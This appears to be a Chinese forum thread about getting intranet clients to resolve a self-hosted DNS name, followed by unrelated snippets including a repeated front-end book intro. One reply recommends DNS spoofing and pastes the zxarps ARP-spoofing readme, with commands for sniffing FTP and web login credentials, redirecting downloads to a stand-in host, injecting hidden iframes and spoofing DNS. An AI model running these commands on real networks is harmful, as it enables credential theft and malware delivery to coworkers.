求助：客户端要访问已建立的dns服务器，该电脑一定要设置已建立的dns服务器的dns地址吗？

BennySun 2007-08-14 09:22:39
　　因工作需求，我在windows 2003上建立了一个名为http://www.picture.com的dns域名。可客户端一定要设置已建立dns服务器的dns才能访问，也就是在我们通常设置电脑ip地址下面的dns设置。

　　有哪位大虾能帮帮我哦，小生感激不尽。
...全文
266 20 打赏 收藏 转发到动态 举报
写回复
用AI写文章
20 条回复
切换为时间正序
请发表友善的回复…
发表回复
it123hx 2008-11-07
  • 打赏
  • 举报
 回复
这个问题顶上
小弟我现在就碰到楼主这样的问题 谁能帮忙解释清楚点



就是想要在客户机不用改设置的情况下就能访问服务器建立的域名


麻烦处理成功的人士 分享一下你的成功经验 感谢


跟以下的问题一样





现在要完成的功能是：
内网dns服务器：202.96.132.133
网关:192.168.1.1
服务器A:192.168.1.202

我要在服务器A上建立一域名：www.picture.com，就能访问它本机上D:\picture目录下的文件。

要求：在其它电脑上输入www.picture.com就行访问服务器A，D:\picture的文件。







　　防火墙这个问题倒没注意观察。我同事的电脑设置成如下就行访问了。

　　ip: 192.168.１.38　　同事ip

　　网关:192.168.1.1　　　网关

　　首选dns：192.168.1.202　　www.picture.com域名的ip





可是我在同事电脑上设置成如下，就行访问了。

有没有办法不设置，也能访问啊，公司几十台，那启不是每天都让我去设。烦了。


BennySun 2007-08-15
  • 打赏
  • 举报
 回复
晕忽忽(恶人谷:通讯连长)
=============

谢谢你的回复，学了不少东西。今天已经搞定了。
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
可是我在同事电脑上设置成如下，就行访问了。

有没有办法不设置，也能访问啊，公司几十台，那启不是每天都让我去设。烦了。
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
你能管理(配置)内网dns服务器：202.96.132.133 么?
不能的话就得考虑我前面提到的方案了.


----------
这个我没有权限
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
你能管理(配置)内网dns服务器：202.96.132.133 么?
不能的话就得考虑我前面提到的方案了.


----------
这个我没有权限
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
　　并且其D:\picture目录已经通过iss发布了。键入如：http://192.168.1.202/picture，可访问了。

我想做成：键入www.picture.com/picture就行访问http://192.168.1.202/picture
spark_li 2007-08-14
  • 打赏
  • 举报
 回复
你能管理(配置)内网dns服务器：202.96.132.133 么?
不能的话就得考虑我前面提到的方案了.


BennySun 2007-08-14
  • 打赏
  • 举报
 回复
现在要完成的功能是：
内网dns服务器：202.96.132.133
网关:192.168.1.1
服务器A:192.168.1.202

我要在服务器A上建立一域名：www.picture.com，就能访问它本机上D:\picture目录下的文件。

要求：在其它电脑上输入www.picture.com就行访问服务器A，D:\picture的文件。
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
但是并没有在你们内网现在用的dns服务器上做解析 ？


－－－－－－－－－－－


哦。还要在内网dns上做解析啊。
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
spark_li 2007-08-14
  • 打赏
  • 举报
 回复
晕，绕半天，
你们内网现在用的dns服务器的ip是多少 ？

你是自己在192.168.1.202　上建了dns服务器 ？然后在上面建了web服务器 ？
结果www.picture.com这个域名你自己在192.168.1.202上做了解析，但是并没有在你们 内网现在用的dns服务器
上做解析 ？
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
　　防火墙这个问题倒没注意观察。我同事的电脑设置成如下就行访问了。

　　ip: 192.168.１.38　　同事ip

　　网关:192.168.1.1　　　网关

　　首选dns：192.168.1.202　　www.picture.com域名的ip
spark_li 2007-08-14
  • 打赏
  • 举报
 回复
那这个应该就是你web服务器设置的问题了

首先你看看
ping www.picture.com
对应的ip是不是你自己服务器的ip

然后自己在服务器上自己访问自己，看能正常访问不，
能的话我想应该是你web服务器的 防火墙 没有开放web的服务端口 tcp/80

注意系统自带的防火墙
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
如果他们用的dns是你们自己内网建立的，
合法的方法就是 在dns服务器 注册你的www.picture.com 这个域名

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝


对，我们自己内网建立的。

dns服务器也注册了www.picture.com这个域名，可其他同事访问不了。是不是还有其他设置。
spark_li 2007-08-14
  • 打赏
  • 举报
 回复
dns欺骗的工具多多，google之，比如我这里的一个

//readme.txt

说明：需要winPcap 基于arp欺骗，
基于ARP欺骗的东东，可网页插马，DNS欺骗，自定义关键字嗅探等

0. Realtek RTL8139

IP Address. . . . . : 192.168.1.101

Physical Address. . : 00-11-D8-6B-5E-19

Default Gateway . . : 192.168.1.1

1. WAN (PPP/SLIP) Interface

IP Address. . . . . : xx.xx.xx.xx

Physical Address. . : 00-52-00-00-00-00

Default Gateway . . : xx.xx.xx.xx

options:

-idx [index] 网卡索引号

-ip [ip] 欺骗的IP,用'-'指定范围,','隔开

-sethost [ip] 默认是网关,可以指定别的IP

-port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口

-reset 恢复目标机的ARP表

-hostname 探测主机时获取主机名信息

-logfilter [string]设置保存数据的条件，必须+-_做前缀,后跟关键字,

','隔开关键字,多个条件'|'隔开

所有带+前缀的关键字都出现的包则写入文件

带-前缀的关键字出现的包不写入文件

带_前缀的关键字一个符合则写入文件(如有+-条件也要符合)

-save_a [filename] 将捕捉到的数据写入文件 ACSII模式

-save_h [filename] HEX模式

-hacksite [ip] 指定要插入代码的站点域名或IP,

多个可用','隔开,没指定则影响所有站点

-insert [html code]指定要插入html代码

-postfix [string] 关注的后缀名，只关注HTTP/1.1 302

-hackURL [url] 发现关注的后缀名后修改URL到新的URL

-filename [name] 新URL上有效的资源文件名

-hackdns [string] DNS欺骗，只修改UDP的报文,多个可用','隔开

格式: 域名|IP，www.aa.com|222.22.2.2,www.bb.com|1.1.1.1

-Interval [ms] 定时欺骗的时间间隔，默认是3秒

-spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者

-speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB

example:

嗅探指定的IP段中端口80的数据，并以HEX模式写入文件

zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log

FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件

zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log

HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字

zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log

用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探

zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log

如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe

zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe

指定的IP段中的用户访问到-hacksite中的网址则只显示just for fun

zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun<noframes>"

指定的IP段中的用户访问的所有网站都插入一个框架代码

zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "<iframe src='xx' width=0 height=0>"

指定的两个IP的总带宽限制到20KB

zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20

DNS欺骗

zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"
spark_li 2007-08-14
  • 打赏
  • 举报
 回复
如果他们用的dns是你们自己内网建立的，
合法的方法就是 在dns服务器 注册你的www.picture.com 这个域名

如果是外网的（别人的，比如电信）dns服务器的话，合法的方法就是找域名服商注册你的域名到你们的外网ip上，
然后做端口映射到你内网的服务器上

不合法的方法就是dns欺骗，反正你们在一个网段。

myzhang700313 2007-08-14
  • 打赏
  • 举报
 回复
不知你说的是什么意思？你现在想要做什么？但是!!
建议你去微软网站下载“Windows Server 2003从入门到精通系列之十：Windows server 2003 服务应用大全之DNS服务使用详解”视频看一看，孔文达老师在上面讲的很清楚！！
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
　　谢谢楼上兄弟的答复。

　　我的dns服务器已建好了，可是别人不能直接访问，必须要在他们电脑上设置下dns服务器的地址才行。我想问的是不设置，有其他方法能解决吗？在此声明下，所有电脑都在同一网段.
spark_li 2007-08-14
  • 打赏
  • 举报
 回复
不清楚你具体想做什么？

方法一、在他们用的dns服务器上 建立 www.picture.com 这个域名到你这个主页服务器的ip地址的解析
方法二、system32/drivers/etc/hosts文件中 www.picture.com ip
新增加一行解析


主要是我没有明白你再说什么。。。。
BennySun 2007-08-14
  • 打赏
  • 举报
 回复
难道没人能帮我吗？
DNS实验报告.pdf
DNS 服务器程序 实验报告 系统和运行环境描述 Windows7 操作系统平台，VS2010 编程环境。 使用 C/C++编写 dns 中继服务器。 系统功能设计 设计 DNS 服务器程序，读入 域名-IP 地址 对照表，当客户端查询域名对应的 IP 地址时，用域名检索该对照表，有三种检索结果： （1）检索结果为 ip 地址 0.0.0.0，则向客户端返回 域名不存在 的报错消息 （不良网站拦截功能） （2）检索结果为普通 IP 地址，则向客户返回这个地址（服务器功能） （3）表中未检到该域名，则向因特网 DNS 服务器发出查询，并将结果返给客户 端（中继功能） 。 需要考虑的问题： （1）多客户端并发 允许多个客户端（可能会位于不同的多个计算机）的并发查询，即：允许第一个 查询尚未得到答案前就启动处理另外一个客户端查询请求（DNS 协议头中 ID 字 段的作用） 超时处理 （2）由于 UDP 的不可靠性，考虑求助外部 DNS 服务器（中继）却不能得到应答 或者收到迟到应答的情形。 主要数据结构 主要的全局的数据结构定义在 dns.h 的头文件中。 struct req_inform{ struct sockaddr_in cli_addr; unsigned short id; };//id和 cli_addr 唯一标识一个DNS请求 该结构唯一标示了一个来自客户端的 dns 请求。 map url_ip_table; 用来构建本地存储的 url_ip_table.txt 中域名和 IP 的映射。 map req_cache[cache_num]; 这一个 map 映射，把客户端 dns 请求映射到一个 unsigned short 上面，用它来 存储 id 转换表。另外和 id 转换表相关的参数是如下： #define cache_num 3 #define cache_size 1000 int cur_cache=0; int idThen_max=cache_num*cache_size; int idThen=0; cache_num 指定了 id 转换表的个数，cache_size 是每个 id 转换表的大小， cur_cache 指向是当前正在装入的 id 转换表， idThen 是一个从 0 到 0xFFFF 一直 循环的被映射到的 id 号。 这个设计的作用是代替了时间戳，而且可以根据实际情况来指定 id 转换表缓存 的大小。 具体流程是： 生成 id 转换的 item（idThen,struct req_inform 的一个变量） 把 id 转换的 item 加入到 req_cache[cur_cache]中 如果 req_cache[cur_cache]已经达到 cache_size{ cur_cache 指向下一个 id 转换表，并将其清空 } idThen 加 1 具体实现在 dns_fuc.cpp 的 ask_next_server 函数中。 int sockfd; struct sockaddr_in ser_addr,nser_addr; sockfd 是一个绑定到 ser_addr(dns 服务器本机 53 号端口)的一个 socket 描述 符，用它来进行 udp 报文传输。 ser_addr 初始化为本地 53 号端口的地址， nser_addr 是上级服务器的 53 号端口 （中继功能时使用） 。 const char * nx_ip="211.68.71.4";//保存上级服务器的 ip const char * file_name="C:/Users/Administrator/Desktop/dns/dns/url_ip_table.txt"; //保存 url_ip_table.txt 的路径 struct dns_ans_add{ unsigned short url_pointer; unsigned short type; unsigned short clas_s; unsigned short time1; unsigned short time2; unsigned short sourse_size; unsigned int sourse; }; 这个是与 dns 请求相比 dns 响应追加部分。 模块划分 int get_url_ip_table( map& table); 用来从文件中读入 url_ip_table。 int init(); 用来初始化 ser_addr、nser_addr、sockfd，以及对 sockfd 绑定
解决win2003tcpsvcs.exe占用内存过大问题.zip
打开任务管理器，发现一名为tcpsvcs.exe的进程，占用了约1.9G的虚拟内存 尝试将DHCP服务重启，发现虚拟内存立即恢复至正常。第二天一早，再次查看，发现虚拟内存又达到了1.9G。和另一台正常的DHCP服务器，比较DHCP服务中设置的相关参数，未发现异常。 求助于互联网这个百科全书，输入相关内容进行搜索，并没有发现什么有价值的内容。又访问微软的支持与帮助中心http://support.microsoft.com ,经查找，发现了一条与我所述情况非常接近的知识库文章 http://support.microsoft.com/kb/939928/zh-cn。按该文章的说法：“因为 Dnsapi.dll 模块未正确管理一些内存资源，将出现此问题。”而且，如果关闭DHCP配置参数中的DNS动态更新设置，这个问题就不会出现。经测试，发现我的情况确实如此。 解决方法： 方法一：禁用DHCP的DNS动态更新功能 1、单击开始，单击运行，键入dhcpmgmt.msc，然后单击确定 2、在控制台树中，用鼠标右键单击对应于 DHCP 服务器的节点，然后单击属性 3、在DNS选项卡上，单击以清除根据下面的设置启用 DNS 动态更新复选框，然后单击确定 4、重新启动 DHCP 服务器服务。例如，在命令提示符下键入以下命令，然后按 ENTER 键：Net stopDHCPServer & & Netstart DHCPServer 这个方法适合于没有DNS动态更新需要的情况。但如果有内部的DNS服务，且需要通过DHCP服务，将DHCP客户端的机器名与IP地址的映射关系更新到DNS服务中，以实现通过机器名访问内部电脑的需求的话，这个功能是不能禁用的。 方法二：更新补丁 微软已针对该问题有了补丁，但由于windows server 2003 的SP3 服务包还没有发布，所以，只能单独下载。下载的方法如下： 1、打开该知识库文章 http://support.microsoft.com/kb/939928/zh-cn 2、点击页面上端的“可用热修复补丁程序”后，会自动跳转至相应的下载页面。 3、选择相应版本的补丁程序，并输入你的邮箱地址并提交后。会将相应的下载地址发到你填写的邮箱中。按邮件的说明和链接下载即可。 这个方法是根本的解决之道。但也有一定的风险，如果选择版本错误，或者因为一些其它原因，安装后，可能会出现其它的问题。所以，用这个方法前，一定要仔细确认你的问题，是否与知识库文章中所述的一致，确认选择的补丁版本是正确的，确认你的windows server 2003 是已经打了SP1或SP2的等。
前方的路：希望以此为你的起点.md
前端性能优化实践# 知识体系与小册格局 ## 写给读者 提起性能优化，大家现在脑海里第一时间会映射出什么内容呢？ 可能是类似[“雅虎军规”](https://developer.yahoo.com/performance/rules.html?guccounter=1)和[《高性能 JavaScript》](https://book.douban.com/subject/5362856/)这样历久弥香的经典之作，也可能是搜索引擎聚合给你的一篇又一篇以性能优化为主题的个人或团队实践而来的“私货”。至少当我确定自己的研发方向、并接到第一个性能优化任务时，我做的第一件事是向搜索引擎求助，第二件事是买书，然后开始了摸着石头过河，前后花费了大量的时间和精力。我深感性能优化实在是前端知识树中特别的一环——当你需要学习前端框架时，文档和源码几乎可以告诉你所有问题的答案，当你需要学习 Git 时，你也可以找到放之四海皆准的实践方案。但性能优化却不一样，它好像只能是一个摸索的过程。 这个摸索的过程是痛苦的、漫长的，也是紧要的。因为在如今的互联网环境下，一个前端团队如果只把性能优化这个任务写在纸上，而不投入实践，它将缺失最基本的竞争力。 笔者写这本小册，是希望通过短短十数个章节的讲解，尽可能降低一些大家学习性能优化的成本。 一方面，这本小册为没有接触过性能优化的新同学建立起一个正确的前端性能优化的“世界观”，知道性能优化是什么、为什么、怎么做，从而使性能优化这件事情有迹可循，有路可走。这样在面试现场被问到性能优化层面的问题时，能够做到滔滔不绝、言之有物，而非像背书一样罗列干巴巴的知识点，最终淹没在茫茫的求职大军中。另一方面，小册可以为在职的工程师们提供一线团队已经实践过的“方法论”，知道什么场景下该做什么事情，最终在脑海中留下一张涵盖核心原理和实践的、可随时查阅并且高度可扩展的性能优化思路索引表。然后在今后的开发生活中可以去践行它，更进一步去挖掘它。把性能优化变作你前端工程师生涯的一门必修课，进而演化为自己研发方面的核心竞争力。 同时，相信大家可以明确这样一个学习观念：任何技术的掌握，都离不开一定比例的理论基础和实际操作的支撑。 具体到前端性能优化这件事情上，我认为它是 20% 的理论，加上至少 80% 的实践，甚至很多理论本身也都是我们在具体的业务场景中实践出来的。所以希望大家阅读本小册时，能够读到一些“书本之外的东西”——最好是一边读一边回忆自己既有的开发经历，尝试去留意哪些知识是已知的，哪些是未知的。 这样读完之后，就可以有的放矢地把这些知识转换为自己的项目实践——前端技术日新月异，性能方案永远都在更迭，所以一定要形成自己的学习思路。 建议每一位读者都带着“学了就要用”的心态去读这本小册。如果阅读结束，能够为你带来哪怕一个小小的开发习惯或者优化观念上的改变，这数小时的阅读时间就算没有白费。 ## 知识体系： 从一道面试题说起 在展开性能优化的话题之前，我想先抛出一个老生常谈的面试问题： > 从输入 URL 到页面加载完成，发生了什么？ 这个问题非常重要，因为我们后续的内容都将以这个问题的答案为骨架展开。我希望正在阅读这本小册的各位可以在心里琢磨一下这个问题——无须你调动太多计算机的专业知识，只需要你用最快的速度在脑海中架构起这个抽象的过程——我们接下来所有的工作，就是围绕这个过程来做文章。 我们现在站在性能优化的角度，一起简单地复习一遍这个经典的过程：首先我们需要通过 DNS（域名解析系统）将 URL 解析为对应的 IP 地址，然后与这个 IP 地址确定的那台服务器建立起 TCP 网络连接，随后我们向服务端抛出我们的 HTTP 请求，服务端处理完我们的请求之后，把目标数据放在 HTTP 响应里返回给客户端，拿到响应数据的浏览器就可以开始走一个渲染的流程。渲染完毕，页面便呈现给了用户，并时刻等待响应用户的操作（如下图所示）。 ![](https://user-gold-cdn.xitu.io/2018/10/18/16685737b823244c?w=489&h=329&f=png&s=19023) 我们将这个过程切分为如下的过程片段： 1. DNS 解析 2. TCP 连接 3. HTTP 请求抛出 4. 服务端处理请求，HTTP 响应返回 5. 浏览器拿到响应数据，解析响应内容，把解析的结果展示给用户 大家谨记，我们任何一个用户端的产品，都需要把这 5 个过程滴水不漏地考虑到自己的性能优化方案内、反复权衡，从而打磨出用户满意的速度。 ## 从原理到实践：各个击破 我们接下来要做的事情，就是针对这五个过程进行分解，各个提问，各个击破。 具体来说，DNS 解析花时间，能不能尽量减少解析次数
开篇：知识体系与小册格局(1).md
前端性能优化实践# 知识体系与小册格局 ## 写给读者 提起性能优化，大家现在脑海里第一时间会映射出什么内容呢？ 可能是类似[“雅虎军规”](https://developer.yahoo.com/performance/rules.html?guccounter=1)和[《高性能 JavaScript》](https://book.douban.com/subject/5362856/)这样历久弥香的经典之作，也可能是搜索引擎聚合给你的一篇又一篇以性能优化为主题的个人或团队实践而来的“私货”。至少当我确定自己的研发方向、并接到第一个性能优化任务时，我做的第一件事是向搜索引擎求助，第二件事是买书，然后开始了摸着石头过河，前后花费了大量的时间和精力。我深感性能优化实在是前端知识树中特别的一环——当你需要学习前端框架时，文档和源码几乎可以告诉你所有问题的答案，当你需要学习 Git 时，你也可以找到放之四海皆准的实践方案。但性能优化却不一样，它好像只能是一个摸索的过程。 这个摸索的过程是痛苦的、漫长的，也是紧要的。因为在如今的互联网环境下，一个前端团队如果只把性能优化这个任务写在纸上，而不投入实践，它将缺失最基本的竞争力。 笔者写这本小册，是希望通过短短十数个章节的讲解，尽可能降低一些大家学习性能优化的成本。 一方面，这本小册为没有接触过性能优化的新同学建立起一个正确的前端性能优化的“世界观”，知道性能优化是什么、为什么、怎么做，从而使性能优化这件事情有迹可循，有路可走。这样在面试现场被问到性能优化层面的问题时，能够做到滔滔不绝、言之有物，而非像背书一样罗列干巴巴的知识点，最终淹没在茫茫的求职大军中。另一方面，小册可以为在职的工程师们提供一线团队已经实践过的“方法论”，知道什么场景下该做什么事情，最终在脑海中留下一张涵盖核心原理和实践的、可随时查阅并且高度可扩展的性能优化思路索引表。然后在今后的开发生活中可以去践行它，更进一步去挖掘它。把性能优化变作你前端工程师生涯的一门必修课，进而演化为自己研发方面的核心竞争力。 同时，相信大家可以明确这样一个学习观念：任何技术的掌握，都离不开一定比例的理论基础和实际操作的支撑。 具体到前端性能优化这件事情上，我认为它是 20% 的理论，加上至少 80% 的实践，甚至很多理论本身也都是我们在具体的业务场景中实践出来的。所以希望大家阅读本小册时，能够读到一些“书本之外的东西”——最好是一边读一边回忆自己既有的开发经历，尝试去留意哪些知识是已知的，哪些是未知的。 这样读完之后，就可以有的放矢地把这些知识转换为自己的项目实践——前端技术日新月异，性能方案永远都在更迭，所以一定要形成自己的学习思路。 建议每一位读者都带着“学了就要用”的心态去读这本小册。如果阅读结束，能够为你带来哪怕一个小小的开发习惯或者优化观念上的改变，这数小时的阅读时间就算没有白费。 ## 知识体系： 从一道面试题说起 在展开性能优化的话题之前，我想先抛出一个老生常谈的面试问题： > 从输入 URL 到页面加载完成，发生了什么？ 这个问题非常重要，因为我们后续的内容都将以这个问题的答案为骨架展开。我希望正在阅读这本小册的各位可以在心里琢磨一下这个问题——无须你调动太多计算机的专业知识，只需要你用最快的速度在脑海中架构起这个抽象的过程——我们接下来所有的工作，就是围绕这个过程来做文章。 我们现在站在性能优化的角度，一起简单地复习一遍这个经典的过程：首先我们需要通过 DNS（域名解析系统）将 URL 解析为对应的 IP 地址，然后与这个 IP 地址确定的那台服务器建立起 TCP 网络连接，随后我们向服务端抛出我们的 HTTP 请求，服务端处理完我们的请求之后，把目标数据放在 HTTP 响应里返回给客户端，拿到响应数据的浏览器就可以开始走一个渲染的流程。渲染完毕，页面便呈现给了用户，并时刻等待响应用户的操作（如下图所示）。 ![](https://user-gold-cdn.xitu.io/2018/10/18/16685737b823244c?w=489&h=329&f=png&s=19023) 我们将这个过程切分为如下的过程片段： 1. DNS 解析 2. TCP 连接 3. HTTP 请求抛出 4. 服务端处理请求，HTTP 响应返回 5. 浏览器拿到响应数据，解析响应内容，把解析的结果展示给用户 大家谨记，我们任何一个用户端的产品，都需要把这 5 个过程滴水不漏地考虑到自己的性能优化方案内、反复权衡，从而打磨出用户满意的速度。 ## 从原理到实践：各个击破 我们接下来要做的事情，就是针对这五个过程进行分解，各个提问，各个击破。 具体来说，DNS 解析花时间，能不能尽量减少解析次数
渲染篇 1：服务端渲染的探索与实践(1).md
前端性能优化实践# 知识体系与小册格局 ## 写给读者 提起性能优化，大家现在脑海里第一时间会映射出什么内容呢？ 可能是类似[“雅虎军规”](https://developer.yahoo.com/performance/rules.html?guccounter=1)和[《高性能 JavaScript》](https://book.douban.com/subject/5362856/)这样历久弥香的经典之作，也可能是搜索引擎聚合给你的一篇又一篇以性能优化为主题的个人或团队实践而来的“私货”。至少当我确定自己的研发方向、并接到第一个性能优化任务时，我做的第一件事是向搜索引擎求助，第二件事是买书，然后开始了摸着石头过河，前后花费了大量的时间和精力。我深感性能优化实在是前端知识树中特别的一环——当你需要学习前端框架时，文档和源码几乎可以告诉你所有问题的答案，当你需要学习 Git 时，你也可以找到放之四海皆准的实践方案。但性能优化却不一样，它好像只能是一个摸索的过程。 这个摸索的过程是痛苦的、漫长的，也是紧要的。因为在如今的互联网环境下，一个前端团队如果只把性能优化这个任务写在纸上，而不投入实践，它将缺失最基本的竞争力。 笔者写这本小册，是希望通过短短十数个章节的讲解，尽可能降低一些大家学习性能优化的成本。 一方面，这本小册为没有接触过性能优化的新同学建立起一个正确的前端性能优化的“世界观”，知道性能优化是什么、为什么、怎么做，从而使性能优化这件事情有迹可循，有路可走。这样在面试现场被问到性能优化层面的问题时，能够做到滔滔不绝、言之有物，而非像背书一样罗列干巴巴的知识点，最终淹没在茫茫的求职大军中。另一方面，小册可以为在职的工程师们提供一线团队已经实践过的“方法论”，知道什么场景下该做什么事情，最终在脑海中留下一张涵盖核心原理和实践的、可随时查阅并且高度可扩展的性能优化思路索引表。然后在今后的开发生活中可以去践行它，更进一步去挖掘它。把性能优化变作你前端工程师生涯的一门必修课，进而演化为自己研发方面的核心竞争力。 同时，相信大家可以明确这样一个学习观念：任何技术的掌握，都离不开一定比例的理论基础和实际操作的支撑。 具体到前端性能优化这件事情上，我认为它是 20% 的理论，加上至少 80% 的实践，甚至很多理论本身也都是我们在具体的业务场景中实践出来的。所以希望大家阅读本小册时，能够读到一些“书本之外的东西”——最好是一边读一边回忆自己既有的开发经历，尝试去留意哪些知识是已知的，哪些是未知的。 这样读完之后，就可以有的放矢地把这些知识转换为自己的项目实践——前端技术日新月异，性能方案永远都在更迭，所以一定要形成自己的学习思路。 建议每一位读者都带着“学了就要用”的心态去读这本小册。如果阅读结束，能够为你带来哪怕一个小小的开发习惯或者优化观念上的改变，这数小时的阅读时间就算没有白费。 ## 知识体系： 从一道面试题说起 在展开性能优化的话题之前，我想先抛出一个老生常谈的面试问题： > 从输入 URL 到页面加载完成，发生了什么？ 这个问题非常重要，因为我们后续的内容都将以这个问题的答案为骨架展开。我希望正在阅读这本小册的各位可以在心里琢磨一下这个问题——无须你调动太多计算机的专业知识，只需要你用最快的速度在脑海中架构起这个抽象的过程——我们接下来所有的工作，就是围绕这个过程来做文章。 我们现在站在性能优化的角度，一起简单地复习一遍这个经典的过程：首先我们需要通过 DNS（域名解析系统）将 URL 解析为对应的 IP 地址，然后与这个 IP 地址确定的那台服务器建立起 TCP 网络连接，随后我们向服务端抛出我们的 HTTP 请求，服务端处理完我们的请求之后，把目标数据放在 HTTP 响应里返回给客户端，拿到响应数据的浏览器就可以开始走一个渲染的流程。渲染完毕，页面便呈现给了用户，并时刻等待响应用户的操作（如下图所示）。 ![](https://user-gold-cdn.xitu.io/2018/10/18/16685737b823244c?w=489&h=329&f=png&s=19023) 我们将这个过程切分为如下的过程片段： 1. DNS 解析 2. TCP 连接 3. HTTP 请求抛出 4. 服务端处理请求，HTTP 响应返回 5. 浏览器拿到响应数据，解析响应内容，把解析的结果展示给用户 大家谨记，我们任何一个用户端的产品，都需要把这 5 个过程滴水不漏地考虑到自己的性能优化方案内、反复权衡，从而打磨出用户满意的速度。 ## 从原理到实践：各个击破 我们接下来要做的事情，就是针对这五个过程进行分解，各个提问，各个击破。 具体来说，DNS 解析花时间，能不能尽量减少解析次数
Windows Server

6,850

社区成员

178,035

社区内容

发帖
与我相关
我的任务
社区描述
Windows 2016/2012/2008/2003/2000/NT
社区管理员
  • Windows Server社区
  • qishine
加入社区
  • 近7日
  • 近30日
  • 至今

加载中

查看更多榜单
社区公告
暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章